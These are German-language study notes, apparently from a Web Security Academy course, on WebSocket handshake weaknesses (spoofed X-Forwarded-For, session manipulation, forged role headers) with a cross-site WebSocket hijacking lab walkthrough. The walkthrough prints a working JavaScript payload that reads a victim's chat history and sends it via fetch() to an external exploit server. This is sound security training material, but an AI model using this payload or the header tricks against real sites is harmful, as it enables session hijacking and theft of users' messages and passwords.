2. Manipulating Handshake Websocket
Manipulation von WebSocket Traffic (mit Burp Suite)¶
Allgemein¶
Handshakes bestehen zwar aus standardisierten Protokollen, aber weil oft eigene Logik für zB App Anwendungen angefügt werden können dadurch diverse Schwachstellen entstehen.
Typische Schwachstellen beim Handshake¶
-
Blindes Vertrauen in HTTP-Header
- Beispiel: Server verlässt sich auf
X-Forwarded-For, um die Client-IP zu bestimmen. - Angreifer kann im Handshake einfach
X-Forwarded-For: 127.0.0.1setzen → Server denkt, die Anfrage kommt vonlocalhost. - → Zugriff auf interne Admin-Funktionen.
- Beispiel: Server verlässt sich auf
-
Fehler bei Session Handling
- Der Server koppelt die Session für den WebSocket an die Cookies/Token aus dem Handshake.
- Wenn du im Burp den Cookie manipulierst, kannst du evtl. in eine fremde Session springen.
- Oder: Session wird nicht erneuert, obwohl Tokens längst abgelaufen sein müssten.
-
Benutzerdefinierte Header
-
Manche Anwendungen fügen zusätzliche Header ins Handshake ein, z. B.:
X-Auth-Token: abc123 X-Role: user -
Wenn du die manipulierst (
X-Role: admin), und der Server vertraut darauf → 💥 Privilege Escalation.
-
🖥️🧪Lab: Cross-site WebSocket hijacking¶
This online shop has a live chat feature implemented using WebSockets. To solve the lab, use the exploit server to host an HTML/JavaScript payload that uses a cross-site WebSocket hijacking attack to exfiltrate the victim's chat history, then use this gain access to their account.
- Schauen wo Websocket verbindungen aufgebaut werden -> Live Chat
- Abchecken wie der Live-Chat kommuniziert -> In Burp sehen wir in der WebSocket Historie, dass der alte Chat gespeichert wird über die Session und mit dem Befehl "READY" wird dieser geladen
- Handshake prüfen (GET /chat) -> Hat kein CSRF Token
- Exploit vorbereiten und auf externen Server laden und an Victim schicken
<script>
var ws = new WebSocket
('wss://0adb005c03827d38813f897b001100aa.web-security-academy.net/chat');
ws.onopen = function() {
ws.send("READY");
};
ws.onmessage = function(event) {
fetch
('https://exploit-0a9000ca03697d8a810088d101db00a1.exploit-server.net/exploit message='
+ btoa(event.data));
};
</script>
- Victim hat Session laufen, drückt auf den Link und die gesamte Chat-Historie wird gefetched und an den externen Server geschickt
- Passwort im Chat -> Leak